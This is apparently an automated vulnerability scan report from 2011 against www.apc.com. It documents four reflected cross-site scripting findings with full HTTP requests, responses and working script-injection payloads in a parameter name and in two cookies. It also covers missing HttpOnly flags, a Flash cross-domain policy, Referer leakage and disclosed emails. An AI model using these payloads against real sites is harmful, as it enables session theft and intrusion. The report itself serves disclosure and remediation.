XSS, Cross Site Scripting, CWE-79, CAPEC-86, apc.com

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Thu Apr 14 14:24:35 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler

Loading

1. Cross-site scripting (reflected)

1.1. http://www.apc.com/site/apc/index.cfm [name of an arbitrarily supplied request parameter]

1.2. http://www.apc.com/site/apc/index.cfm/ww/ [name of an arbitrarily supplied request parameter]

1.3. http://www.apc.com/site/apc/index.cfm/ww/ [APCSITECODE cookie]

1.4. http://www.apc.com/site/apc/index.cfm/ww/ [TSK cookie]

2. Cookie without HttpOnly flag set

2.1. http://www.apc.com/

2.2. http://www.apc.com/site/apc/index.cfm

2.3. http://www.apc.com/site/apc/index.cfm/ww/

3. Flash cross-domain policy

4. Cross-domain Referer leakage

5. Email addresses disclosed

5.1. http://www.apc.com/favicon.ico

5.2. http://www.apc.com/site/apc/index.cfm/ww/

6. Robots.txt file

7. HTML does not specify charset



1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.apc.com/site/apc/index.cfm [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.apc.com
Path:   /site/apc/index.cfm

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a0a35"><script>alert(1)</script>8d88c5a2826 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /site/apc/index.cfm?a0a35"><script>alert(1)</script>8d88c5a2826=1 HTTP/1.1
Host: www.apc.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=38690564; CFTOKEN=72793360

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Language: en-US
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
Date: Thu, 14 Apr 2011 14:21:51 GMT
Content-Length: 24912
Connection: close
Set-Cookie: BALANCE=www3stl;expires=Fri, 15-Apr-2011 14:21:43 GMT;path=/
Set-Cookie: APCCONID=;Secure;path=/
Set-Cookie: APCSITECODE=WW;expires=Sat, 14-May-2011 14:21:43 GMT;path=/
Set-Cookie: SEGMENTID=0;expires=Sat, 14-May-2011 14:21:43 GMT;path=/
Set-Cookie: TSK=;path=/
Set-Cookie: SEGMENTID=0;expires=Sat, 14-May-2011 14:21:43 GMT;path=/
Set-Cookie: SEGMENTID=0;expires=Sat, 14-May-2011 14:21:43 GMT;path=/
Set-Cookie: COOKIESET=yes;path=/
Set-Cookie: COOKIESET=yes;path=/


                                                                               <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


                   <html>
       
       
       <head>
   <titl
...[SNIP]...
<a href="/template/country_selection.cfm?ref_url=/site/apc/index.cfm?a0a35"><script>alert(1)</script>8d88c5a2826=1" id="header-country-change">
...[SNIP]...

1.2. http://www.apc.com/site/apc/index.cfm/ww/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.apc.com
Path:   /site/apc/index.cfm/ww/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1575"><script>alert(1)</script>c38a037c36a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /site/apc/index.cfm/ww/?&d1575"><script>alert(1)</script>c38a037c36a=1 HTTP/1.1
Host: www.apc.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=38690564; CFTOKEN=72793360; USERID=; USERHASH=; ORIGINALURLTOKEN=3717829D%2DAE46%2D4A3E%2D9D7F946A5DEC6E39; BALANCE=www3stl; APCSITECODE=WW; TSK=; PB_HELP=0; SEGMENTID=0

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Language: en-US
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
Date: Thu, 14 Apr 2011 14:22:46 GMT
Content-Length: 24912
Connection: close
Set-Cookie: BALANCE=www3stl;expires=Fri, 15-Apr-2011 14:22:38 GMT;path=/
Set-Cookie: APCCONID=;Secure;path=/
Set-Cookie: APCSITECODE=WW;expires=Sat, 14-May-2011 14:22:38 GMT;path=/
Set-Cookie: SEGMENTID=0;expires=Sat, 14-May-2011 14:22:38 GMT;path=/
Set-Cookie: TSK=;path=/
Set-Cookie: SEGMENTID=0;expires=Sat, 14-May-2011 14:22:38 GMT;path=/
Set-Cookie: SEGMENTID=0;expires=Sat, 14-May-2011 14:22:38 GMT;path=/
Set-Cookie: COOKIESET=yes;path=/
Set-Cookie: COOKIESET=yes;path=/


                                                                               <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


                   <html>
       
       
       <head>
   <titl
...[SNIP]...
<a href="/template/country_selection.cfm?ref_url=/site/apc/index.cfm?d1575"><script>alert(1)</script>c38a037c36a=1" id="header-country-change">
...[SNIP]...

1.3. http://www.apc.com/site/apc/index.cfm/ww/ [APCSITECODE cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.apc.com
Path:   /site/apc/index.cfm/ww/

Issue detail

The value of the APCSITECODE cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 69762"%3balert(1)//4c276226e67 was submitted in the APCSITECODE cookie. This input was echoed as 69762";alert(1)//4c276226e67 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /site/apc/index.cfm/ww/? HTTP/1.1
Host: www.apc.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=38690564; CFTOKEN=72793360; USERID=; USERHASH=; ORIGINALURLTOKEN=3717829D%2DAE46%2D4A3E%2D9D7F946A5DEC6E39; BALANCE=www3stl; APCSITECODE=WW69762"%3balert(1)//4c276226e67; TSK=; PB_HELP=0; SEGMENTID=0

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Language: en-US
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
Date: Thu, 14 Apr 2011 14:22:01 GMT
Content-Length: 24812
Connection: close
Set-Cookie: BALANCE=www3stl;expires=Fri, 15-Apr-2011 14:21:53 GMT;path=/
Set-Cookie: APCCONID=;Secure;path=/
Set-Cookie: APCSITECODE=WW69762%22%3Balert%281%29%2F%2F4c276226e67;expires=Sat, 14-May-2011 14:21:53 GMT;path=/
Set-Cookie: SEGMENTID=0;expires=Sat, 14-May-2011 14:21:53 GMT;path=/
Set-Cookie: TSK=;path=/
Set-Cookie: SEGMENTID=0;expires=Sat, 14-May-2011 14:21:53 GMT;path=/
Set-Cookie: SEGMENTID=0;expires=Sat, 14-May-2011 14:21:53 GMT;path=/
Set-Cookie: COOKIESET=yes;path=/
Set-Cookie: COOKIESET=yes;path=/


                                                                               <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


                   <html>
       
       
       <head>
   <titl
...[SNIP]...

       // Set Google Analytics custom variables below    (Slot, Key, Value, Scope[1: Page, 2: Session, 3: Visitor])
       pageTracker._setCustomVar(1,"Region","",2);
       pageTracker._setCustomVar(2,"Country","WW69762";alert(1)//4c276226e67",2);
       pageTracker._setCustomVar(3,"Customer Segment","0",2);
       pageTracker._setCustomVar(4,"Program Level","0",2);
       // This calls the function to track this info
       pageTracker._trackPageview
...[SNIP]...

1.4. http://www.apc.com/site/apc/index.cfm/ww/ [TSK cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.apc.com
Path:   /site/apc/index.cfm/ww/

Issue detail

The value of the TSK cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9d486"%3balert(1)//d6781ee042b was submitted in the TSK cookie. This input was echoed as 9d486";alert(1)//d6781ee042b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /site/apc/index.cfm/ww/? HTTP/1.1
Host: www.apc.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=38690564; CFTOKEN=72793360; USERID=; USERHASH=; ORIGINALURLTOKEN=3717829D%2DAE46%2D4A3E%2D9D7F946A5DEC6E39; BALANCE=www3stl; APCSITECODE=WW; TSK=9d486"%3balert(1)//d6781ee042b; PB_HELP=0; SEGMENTID=0

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Language: en-US
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
Content-Length: 24821
Date: Thu, 14 Apr 2011 14:22:09 GMT
Connection: close
Set-Cookie: BALANCE=www3stl;expires=Fri, 15-Apr-2011 14:22:01 GMT;path=/
Set-Cookie: APCCONID=;Secure;path=/
Set-Cookie: APCSITECODE=WW;expires=Sat, 14-May-2011 14:22:01 GMT;path=/
Set-Cookie: SEGMENTID=0;expires=Sat, 14-May-2011 14:22:01 GMT;path=/
Set-Cookie: TSK=9d486%22%3Balert%281%29%2F%2Fd6781ee042b;path=/
Set-Cookie: SEGMENTID=0;expires=Sat, 14-May-2011 14:22:01 GMT;path=/
Set-Cookie: SEGMENTID=0;expires=Sat, 14-May-2011 14:22:01 GMT;path=/
Set-Cookie: COOKIESET=yes;path=/
Set-Cookie: COOKIESET=yes;path=/


                                                                               <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


                   <html>
       
       
       <head>
   <titl
...[SNIP]...
UE
   hbx.cp="null";//LEGACY CAMPAIGN
   hbx.cpd="";//CAMPAIGN DOMAIN
   
   //CUSTOM VARIABLES
   hbx.ci="";//CUSTOMER ID
   hbx.hc1="";//CUSTOM 1
   hbx.hc2="";//CUSTOM 2
   hbx.hc3="";//CUSTOM 3
   hbx.hc4="9D486";ALERT(1)//D6781EE042B|Internal";//CUSTOM 4
   hbx.hrf="";//CUSTOM REFERRER
   hbx.pec="";//ERROR CODES
   
   //INSERT CUSTOM EVENTS
   
   var ev1 = new _hbEvent("search"); //required definition to create custom event
   ev1.key
...[SNIP]...

2. Cookie without HttpOnly flag set  previous  next
There are 3 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



2.1. http://www.apc.com/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.apc.com
Path:   /

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.apc.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Moved Temporarily
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: /site/apc/index.cfm
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
Date: Thu, 14 Apr 2011 14:21:17 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: CFID=38690564;expires=Sat, 06-Apr-2041 14:21:09 GMT;path=/
Set-Cookie: CFTOKEN=72793360;expires=Sat, 06-Apr-2041 14:21:09 GMT;path=/
Content-Length: 40


                               

2.2. http://www.apc.com/site/apc/index.cfm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.apc.com
Path:   /site/apc/index.cfm

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /site/apc/index.cfm HTTP/1.1
Host: www.apc.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=38690564; CFTOKEN=72793360

Response

HTTP/1.1 302 Moved Temporarily
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: /site/apc/index.cfm/ww/?
Content-Language: en-US
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
Date: Thu, 14 Apr 2011 14:21:17 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: BALANCE=www3stl;expires=Fri, 15-Apr-2011 14:21:09 GMT;path=/
Set-Cookie: APCCONID=;Secure;path=/
Set-Cookie: APCSITECODE=WW;expires=Sat, 14-May-2011 14:21:09 GMT;path=/
Set-Cookie: SEGMENTID=0;expires=Sat, 14-May-2011 14:21:09 GMT;path=/
Set-Cookie: TSK=;path=/
Set-Cookie: SEGMENTID=0;expires=Sat, 14-May-2011 14:21:09 GMT;path=/
Content-Length: 459


       <!-- Hide element(s) by ID. This code comes from the HideElement plugin. -->
       
       <style>
           
               #sendLogin {
                   display: none;
                   }
           
       </style>
       
   <meta name="country" content="ww"><meta
...[SNIP]...

2.3. http://www.apc.com/site/apc/index.cfm/ww/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.apc.com
Path:   /site/apc/index.cfm/ww/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /site/apc/index.cfm/ww/? HTTP/1.1
Host: www.apc.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=38690564; CFTOKEN=72793360; USERID=; USERHASH=; ORIGINALURLTOKEN=3717829D%2DAE46%2D4A3E%2D9D7F946A5DEC6E39; BALANCE=www3stl; APCSITECODE=WW; TSK=; PB_HELP=0; SEGMENTID=0

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Language: en-US
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
Content-Length: 24784
Date: Thu, 14 Apr 2011 14:21:18 GMT
Connection: close
Set-Cookie: BALANCE=www3stl;expires=Fri, 15-Apr-2011 14:21:10 GMT;path=/
Set-Cookie: APCCONID=;Secure;path=/
Set-Cookie: APCSITECODE=WW;expires=Sat, 14-May-2011 14:21:10 GMT;path=/
Set-Cookie: SEGMENTID=0;expires=Sat, 14-May-2011 14:21:10 GMT;path=/
Set-Cookie: TSK=;path=/
Set-Cookie: SEGMENTID=0;expires=Sat, 14-May-2011 14:21:10 GMT;path=/
Set-Cookie: SEGMENTID=0;expires=Sat, 14-May-2011 14:21:10 GMT;path=/
Set-Cookie: COOKIESET=yes;path=/
Set-Cookie: COOKIESET=yes;path=/


                                                                               <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


                   <html>
       
       
       <head>
   <titl
...[SNIP]...

3. Flash cross-domain policy  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.apc.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from specific subdomains.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: www.apc.com

Response

HTTP/1.0 200 OK
Content-Length: 372
Content-Type: text/xml
Content-Location: http://www.apc.com/crossdomain.xml
Last-Modified: Thu, 26 Mar 2009 14:53:32 GMT
Accept-Ranges: bytes
ETag: "6013dba122aec91:a2398"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 14 Apr 2011 14:21:18 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="breezetest.apc.com" secure="false" />
...[SNIP]...
<allow-access-from domain="breezestage.apc.com" secure="false" />
...[SNIP]...
<allow-access-from domain="breeze.apc.com" secure="false" />
...[SNIP]...

4. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.apc.com
Path:   /site/apc/index.cfm/ww/

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /site/apc/index.cfm/ww/? HTTP/1.1
Host: www.apc.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=38690564; CFTOKEN=72793360; USERID=; USERHASH=; ORIGINALURLTOKEN=3717829D%2DAE46%2D4A3E%2D9D7F946A5DEC6E39; BALANCE=www3stl; APCSITECODE=WW; TSK=; PB_HELP=0; SEGMENTID=0

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Language: en-US
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
Content-Length: 24784
Date: Thu, 14 Apr 2011 14:21:18 GMT
Connection: close
Set-Cookie: BALANCE=www3stl;expires=Fri, 15-Apr-2011 14:21:10 GMT;path=/
Set-Cookie: APCCONID=;Secure;path=/
Set-Cookie: APCSITECODE=WW;expires=Sat, 14-May-2011 14:21:10 GMT;path=/
Set-Cookie: SEGMENTID=0;expires=Sat, 14-May-2011 14:21:10 GMT;path=/
Set-Cookie: TSK=;path=/
Set-Cookie: SEGMENTID=0;expires=Sat, 14-May-2011 14:21:10 GMT;path=/
Set-Cookie: SEGMENTID=0;expires=Sat, 14-May-2011 14:21:10 GMT;path=/
Set-Cookie: COOKIESET=yes;path=/
Set-Cookie: COOKIESET=yes;path=/


                                                                               <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


                   <html>
       
       
       <head>
   <titl
...[SNIP]...
</a> | <a class="defaultnav" href="http://www.schneider-electric.com/sites/corporate/en/finance/finance.page">Investors</a>
...[SNIP]...
</a><a href="http://www.schneider-electric.com">About Schneider Electric</a><a href="http://www.schneider-electric.com/sites/corporate/en/finance/finance.page">Investors</a>
...[SNIP]...

5. Email addresses disclosed  previous  next
There are 2 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


5.1. http://www.apc.com/favicon.ico  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.apc.com
Path:   /favicon.ico

Issue detail

The following email address was disclosed in the response:

Request

GET /favicon.ico HTTP/1.1
Host: www.apc.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=38690564; CFTOKEN=72793360; USERID=; USERHASH=; ORIGINALURLTOKEN=3717829D%2DAE46%2D4A3E%2D9D7F946A5DEC6E39; PB_HELP=0; BALANCE=www3stl; APCSITECODE=WW; TSK=; SEGMENTID=0; COOKIESET=yes; CP=null*; xtvrn=$475974$

Response

HTTP/1.1 404 Not Found
Content-Length: 10859
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 14 Apr 2011 14:22:54 GMT
Connection: close
Vary: Accept-Encoding

<html>

<head>
   <title>APC : File Not Found</title>
   <meta name="description" content="">
   <meta name="robots" content="noindex,nofollow">
   <meta name="keywords" content="">    
   <meta name="contact" content="webmaster@apcc.com">
...[SNIP]...

5.2. http://www.apc.com/site/apc/index.cfm/ww/  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.apc.com
Path:   /site/apc/index.cfm/ww/

Issue detail

The following email address was disclosed in the response:

Request

GET /site/apc/index.cfm/ww/? HTTP/1.1
Host: www.apc.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=38690564; CFTOKEN=72793360; USERID=; USERHASH=; ORIGINALURLTOKEN=3717829D%2DAE46%2D4A3E%2D9D7F946A5DEC6E39; BALANCE=www3stl; APCSITECODE=WW; TSK=; PB_HELP=0; SEGMENTID=0

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Language: en-US
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
Content-Length: 24784
Date: Thu, 14 Apr 2011 14:21:18 GMT
Connection: close
Set-Cookie: BALANCE=www3stl;expires=Fri, 15-Apr-2011 14:21:10 GMT;path=/
Set-Cookie: APCCONID=;Secure;path=/
Set-Cookie: APCSITECODE=WW;expires=Sat, 14-May-2011 14:21:10 GMT;path=/
Set-Cookie: SEGMENTID=0;expires=Sat, 14-May-2011 14:21:10 GMT;path=/
Set-Cookie: TSK=;path=/
Set-Cookie: SEGMENTID=0;expires=Sat, 14-May-2011 14:21:10 GMT;path=/
Set-Cookie: SEGMENTID=0;expires=Sat, 14-May-2011 14:21:10 GMT;path=/
Set-Cookie: COOKIESET=yes;path=/
Set-Cookie: COOKIESET=yes;path=/


                                                                               <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


                   <html>
       
       
       <head>
   <titl
...[SNIP]...
<meta name="contact" content="webmaster@apcc.com">
...[SNIP]...

6. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.apc.com
Path:   /site/apc/index.cfm

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

